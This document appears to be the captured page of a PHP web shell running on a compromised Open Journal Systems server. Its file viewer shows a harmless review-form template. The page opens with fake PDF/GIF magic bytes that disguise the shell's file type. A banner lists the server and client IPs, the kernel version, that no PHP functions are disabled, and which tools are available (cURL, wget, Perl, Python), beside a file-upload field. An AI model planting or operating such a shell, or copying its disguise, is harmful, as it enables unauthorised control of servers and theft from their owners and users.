%PDF-1.7 GIF89;
| Server IP : 104.20.45.2 / Your IP : 172.16.20.3 Web Server : Apache/2.4.25 (Debian) System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : application ( 1000) PHP Version : 5.6.40 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /app/plugins/themes/JetliJournal/templates/manager/reviewForms/ |
Upload File : |
{**
* templates/manager/reviewForms/reviewFormElements.tpl
*
* Copyright (c) 2003-2012 John Willinsky
* Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
*
* Display list of review form elements.
*
*}
{strip}
{assign var="pageTitle" value="manager.reviewFormElements"}
{include file="common/header.tpl"}
{/strip}
<script type="text/javascript">
{literal}
$(document).ready(function() { setupTableDND("#reviewFormElementsTable",
{/literal}
"{url op=moveReviewFormElement}"
{literal}
); });
{/literal}
</script>
<script type="text/javascript">
{literal}
<!--
function toggleChecked() {
var elements = document.getElementById('reviewFormElements').elements;
for (var i=0; i < elements.length; i++) {
if (elements[i].name == 'copy[]') {
elements[i].checked = !elements[i].checked;
}
}
}
// -->
{/literal}
</script>
<ul class="menu">
<li><a href="{url op="editReviewForm" path=$reviewFormId}">{translate key="manager.reviewForms.edit"}</a></li>
<li class="current"><a href="{url op="reviewFormElements" path=$reviewFormId}">{translate key="manager.reviewFormElements"}</a></li>
<li><a href="{url op="previewReviewForm" path=$reviewFormId}">{translate key="manager.reviewForms.preview"}</a></li>
</ul>
<br/>
<div id="reviewFormElements">
<form id="reviewFormElements" action="{url op="copyReviewFormElement"}" method="post">
<table width="100%" class="listing" id="reviewFormElementsTable">
<tr>
<td class="headseparator" colspan="3"> </td>
</tr>
<tr class="heading" valign="bottom">
<td width="3%"> </td>
<td width="77%">{translate key="manager.reviewFormElements.question"}</td>
<td width="20%">{translate key="common.action"}</td>
</tr>
<tr>
<td class="headseparator" colspan="3"> </td>
</tr>
{iterate from=reviewFormElements item=reviewFormElement name=reviewFormElements}
{assign var=reviewFormElementExists value=1}
<tr valign="top" id="formelt-{$reviewFormElement->getId()}" class="data">
<td><input type="checkbox" name="copy[]" value="{$reviewFormElement->getId()|escape}"/></td>
<td class="drag">{$reviewFormElement->getLocalizedQuestion()|truncate:200:"..."}</td>
<td class="nowrap">
<a href="{url op="editReviewFormElement" path=$reviewFormElement->getReviewFormId()|to_array:$reviewFormElement->getId()}" class="action">{translate key="common.edit"}</a> | <a href="{url op="deleteReviewFormElement" path=$reviewFormElement->getReviewFormId()|to_array:$reviewFormElement->getId()}" onclick="return confirm('{translate|escape:"jsparam" key="manager.reviewFormElements.confirmDelete"}')" class="action">{translate key="common.delete"}</a> | <a href="{url op="moveReviewFormElement" d=u id=$reviewFormElement->getId()}" class="action">↑</a> <a href="{url op="moveReviewFormElement" d=d id=$reviewFormElement->getId()}" class="action">↓</a>
</td>
</tr>
{if $reviewFormElements->eof()}
<tr><td class="endseparator" colspan="3"></td></tr>
{/if}
{/iterate}
{if $reviewFormElements->wasEmpty()}
<tr>
<td colspan="3" class="nodata">{translate key="manager.reviewFormElements.noneCreated"}</td>
</tr>
<tr>
<td colspan="3" class="endseparator"> </td>
</tr>
{else}
<tr>
<td colspan="2" align="left">{page_info iterator=$reviewFormElements}</td>
<td align="right">{page_links anchor="reviewFormElements" name="reviewFormElements" iterator=$reviewFormElements}</td>
</tr>
{/if}
</table>
{if $reviewFormElementExists}
<p>{translate key="manager.reviewFormElements.copyTo"} <select name="targetReviewForm" class="selectMenu" size="1">{html_options options=$unusedReviewFormTitles}</select> <input type="submit" value="{translate key="common.copy"}" class="button defaultButton"/> <input type="button" value="{translate key="common.selectAll"}" class="button" onclick="toggleChecked()" /></p>
{/if}
</form>
<br />
<a class="action" href="{url op="createReviewFormElement" path=$reviewFormId}">{translate key="manager.reviewFormElements.create"}</a>
</div>
{include file="common/footer.tpl"}